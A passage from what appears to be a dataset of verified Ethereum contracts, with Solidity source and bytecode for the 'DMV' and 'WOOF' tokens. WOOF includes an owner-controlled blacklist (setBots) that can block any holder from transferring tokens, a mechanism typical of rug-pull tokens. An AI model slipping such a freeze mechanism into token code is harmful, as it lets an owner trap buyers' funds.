8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e9305a344a733298cb3e67d58f43f7616d9cb6ab3b8a610c4d19beea2361bc3564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,709
0xf8d69ab8f4d9a0ad094958b8d51e410edd80aaa8
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'National Capital Region' contract // // Symbol : DMV // Name : National Capital Region // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract DMV is BurnableToken { string public constant name = "National Capital Region"; string public constant symbol = "DMV"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280601781526020017f4e6174696f6e616c204361706974616c20526567696f6e00000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f444d56000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220ded51eab28b798c58a8286d7f837dd5f38c4b79da7533528ee62d1cdd3b1729e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,710
0xfa4e38b786077ebd729ebb7e233477fcdb4ab378
//SPDX-License-Identifier: UNLICENSED //t.me/woofportal pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WOOF is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"A Shibas Dream"; string public constant symbol = unicode"WOOF"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (2 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < 12 && sell < 12 ); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063a9059cbb11610095578063c9567bf911610064578063c9567bf914610576578063db92dbb61461058b578063dcb0e0ad146105a0578063dd62ed3e146105c057600080fd5b8063a9059cbb14610501578063b2289c6214610521578063b515566a14610541578063c3c8cd801461056157600080fd5b80638da5cb5b116100d15780638da5cb5b1461047e57806394b8d8f21461049c57806395d89b41146104bc5780639e78fb4f146104ec57600080fd5b80636fc3eaec1461041457806370a0823114610429578063715018a61461044957806373f54a111461045e57600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461039057806345596e2e146103a657806349bd5a5e146103c6578063590f897e146103fe57600080fd5b8063313ce567146102fa57806331c2d8471461032157806332d873d8146103415780633bbac5791461035757600080fd5b806318160ddd116101b657806318160ddd1461028a5780631940d020146102af57806323b872dd146102c557806327f3a72a146102e557600080fd5b806306fdde03146101e8578063095ea7b3146102385780630b78f9c01461026857600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506102226040518060400160405280600e81526020016d412053686962617320447265616d60901b81525081565b60405161022f919061173f565b60405180910390f35b34801561024457600080fd5b506102586102533660046117b9565b610606565b604051901515815260200161022f565b34801561027457600080fd5b506102886102833660046117e5565b61061c565b005b34801561029657600080fd5b50670de0b6b3a76400005b60405190815260200161022f565b3480156102bb57600080fd5b506102a1600c5481565b3480156102d157600080fd5b506102586102e0366004611807565b6106af565b3480156102f157600080fd5b506102a1610703565b34801561030657600080fd5b5061030f600981565b60405160ff909116815260200161022f565b34801561032d57600080fd5b5061028861033c36600461185e565b610713565b34801561034d57600080fd5b506102a1600d5481565b34801561036357600080fd5b50610258610372366004611923565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039c57600080fd5b506102a160095481565b3480156103b257600080fd5b506102886103c1366004611940565b6107a9565b3480156103d257600080fd5b506008546103e6906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b34801561040a57600080fd5b506102a1600a5481565b34801561042057600080fd5b5061028861086f565b34801561043557600080fd5b506102a1610444366004611923565b61087c565b34801561045557600080fd5b50610288610897565b34801561046a57600080fd5b50610288610479366004611923565b61090b565b34801561048a57600080fd5b506000546001600160a01b03166103e6565b3480156104a857600080fd5b50600e546102589062010000900460ff1681565b3480156104c857600080fd5b50610222604051806040016040528060048152602001632ba7a7a360e11b81525081565b3480156104f857600080fd5b50610288610979565b34801561050d57600080fd5b5061025861051c3660046117b9565b610b7e565b34801561052d57600080fd5b506007546103e6906001600160a01b031681565b34801561054d57600080fd5b5061028861055c36600461185e565b610b8b565b34801561056d57600080fd5b50610288610ca4565b34801561058257600080fd5b50610288610cba565b34801561059757600080fd5b506102a1610eab565b3480156105ac57600080fd5b506102886105bb366004611967565b610ec3565b3480156105cc57600080fd5b506102a16105db366004611984565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610613338484610f40565b50600192915050565b6000546001600160a01b0316331461064f5760405162461bcd60e51b8152600401610646906119bd565b60405180910390fd5b600c8210801561065f5750600c81105b61066857600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d